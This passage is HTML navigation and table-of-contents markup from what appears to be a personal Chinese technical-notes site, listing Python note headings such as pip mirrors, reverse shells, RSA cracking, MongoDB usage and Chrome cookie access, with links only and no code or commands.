设置PYTHONSTARTUP环境变量 启动Python自动执行一些import\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonmongodb\" class=\"md-nav__link\">\n    Python使用MongoDB\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Python使用MongoDB\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#server\" class=\"md-nav__link\">\n    安装server\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    增删查改\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"增删查改\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    查询\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    批量增加\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    删除\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#join\" class=\"md-nav__link\">\n    多表join查询\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    随机采样\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pyenvpython\" class=\"md-nav__link\">\n    使用pyenv编译安装不同版本的Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    发送钉钉消息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mitmproxy\" class=\"md-nav__link\">\n    使用mitmproxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pywebioflask-markdown\" class=\"md-nav__link\">\n    pywebio+Flask 构建交互式markdown网站\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pip\" class=\"md-nav__link\">\n    安装pip\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pip-mirrorsaliyuncom\" class=\"md-nav__link\">\n    设置pip源 - mirrors.aliyun.com\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"设置pip源 - mirrors.aliyun.com\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#shell\" class=\"md-nav__link\">\n    反弹shell\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#tty\" class=\"md-nav__link\">\n    获得一个tty\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requestsip\" class=\"md-nav__link\">\n    让requests使用多个IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_1\" class=\"md-nav__link\">\n    Python多线程模板\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#httpserverbasehttpserver\" class=\"md-nav__link\">\n    http.server（BaseHTTPServer）并发性改善\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"http.server（BaseHTTPServer）并发性改善\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#new-version\" class=\"md-nav__link\">\n    New version 不必修改库代码\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#old-version\" class=\"md-nav__link\">\n    Old version 修改库代码(不建议)\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootpython\" class=\"md-nav__link\">\n    无root权限安装Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    中文输出乱码问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pep8\" class=\"md-nav__link\">\n    遵循PEP8检查你的代码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    生成随机字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_2\" class=\"md-nav__link\">\n    Python解方程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#in\" class=\"md-nav__link\">\n    大数据判断in\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonh-no-such-file-or-directory\" class=\"md-nav__link\">\n    解决Python.h: No such file or directory\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    二进制字符串转普通字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bytes\" class=\"md-nav__link\">\n    十六进制字符串转bytes字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python3pat\" class=\"md-nav__link\">\n    用Python3写PAT心得\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requestspost\" class=\"md-nav__link\">\n    用requests进行post\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tkinter\" class=\"md-nav__link\">\n    通过tkinter获取、修改剪贴板\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    符号数与无符号数转换\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"符号数与无符号数转换\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    无符号→有符号，为了加上负号：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    有符号→无符号，为了去掉负号：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#signalsigalrm-only-linux\" class=\"md-nav__link\">\n    使用signal.SIGALRM在限定时间后退出进程 (only Linux)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ctrlc\" class=\"md-nav__link\">\n    捕捉用户的Ctrl+C\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#signalsigalrm-only-linux_1\" class=\"md-nav__link\">\n    使用signal.SIGALRM实现定时器 (only Linux)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pdb\" class=\"md-nav__link\">\n    使用pdb进行调试\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonserverlessfunction-as-service\" class=\"md-nav__link\">\n    使用Python开发Serverless(Function as Service)后端服务\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用Python开发Serverless(Function as Service)后端服务\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    踩过的坑与解决过程(论阿里云是怎么把人气死的)\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"踩过的坑与解决过程(论阿里云是怎么把人气死的)\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1api\" class=\"md-nav__link\">\n    1.API网关与函数计算的对接\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2api\" class=\"md-nav__link\">\n    2.修改API网关参数定义后要再次发布\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3windowsfclifcliexe\" class=\"md-nav__link\">\n    3.不能使用Windows版本的fcli工具(fcli.exe)\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linuxgbk\" class=\"md-nav__link\">\n    修复Linux下gbk编码的文件名\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#crack-rsa\" class=\"md-nav__link\">\n    Crack RSA!\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Crack RSA!\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    题目信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#rsa\" class=\"md-nav__link\">\n    RSA是啥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    破解的数学原理\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    实现它\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"实现它\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ne\" class=\"md-nav__link\">\n    题目给的公钥是啥格式，怎么读取出N和e?\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#n-pq\" class=\"md-nav__link\">\n    怎么分解n 得到p和q？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#d\" class=\"md-nav__link\">\n    怎么计算私钥d\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#flagencint\" class=\"md-nav__link\">\n    怎么把flag.enc当成一个int读入？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    计算明文\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#flag\" class=\"md-nav__link\">\n    明文这么一个大数 我要的flag呢？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    完整的代码\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    时间戳与字符串相互转换\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#redis\" class=\"md-nav__link\">\n    用redis存储字典\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nexushd\" class=\"md-nav__link\">\n    搬运种子 从北邮人搬运到NexusHD\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-seleniumdocker-chrome-headless\" class=\"md-nav__link\">\n    python selenium+Docker chrome headless爬复杂网页\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonroot\" class=\"md-nav__link\">\n    python丢弃root权限\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-transmissionrpc\" class=\"md-nav__link\">\n    python transmissionrpc\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"python transmissionrpc\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    上传一个种子 开始下载\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#torrent\" class=\"md-nav__link\">\n    获取完整的torrent对象\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#tracker\" class=\"md-nav__link\">\n    给种子增加一个tracker\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#torrenttracker\" class=\"md-nav__link\">\n    修改一个.torrent文件的tracker\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#uwsgi\" class=\"md-nav__link\">\n    uwsgi优雅重启\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask\" class=\"md-nav__link\">\n    flask设置一堆静态目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python35-openutf-8\" class=\"md-nav__link\">\n    Python3.5 open打开文件默认使用utf-8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonurl\" class=\"md-nav__link\">\n    Python提取url 正则匹配的回溯爆炸问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntugmpy2\" class=\"md-nav__link\">\n    ubuntu安装gmpy2\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask_1\" class=\"md-nav__link\">\n    Flask模板 删去循环引入的多余空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sentry\" class=\"md-nav__link\">\n    使用sentry\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用sentry\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#sentry_1\" class=\"md-nav__link\">\n    不要过于依赖Sentry\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pysysargv\" class=\"md-nav__link\">\n    解决命令行执行py文件没有sys.argv的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonwindows-chromecookie\" class=\"md-nav__link\">\n    Python获取Windows Chrome的Cookie\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winencodingutf-8\" class=\"md-nav__link\">\n    Win开发摆脱每次都要写的encoding=utf-8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu1604python37\" class=\"md-nav__link\">\n    Ubuntu16.04安装Python3.7\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#keyboardinterrupt\" class=\"md-nav__link\">\n    判断代码是否卡住，自动发送KeyboardInterrupt\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonstartup-pythonimport\" class=\"md-nav__link\">\n    设置PYTHONSTARTUP环境变量 启动Python自动执行一些import\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonmongodb\" class=\"md-nav__link\">\n    Python使用MongoDB\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Python使用MongoDB\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#server\" class=\"md-nav__link\">\n    安装server\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    增删查改\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"增删查改\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    查询\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    批量增加\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    删除\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#join\" class=\"md-nav__link\">\n    多表join查询\n  </a>\n  \n</li>\n        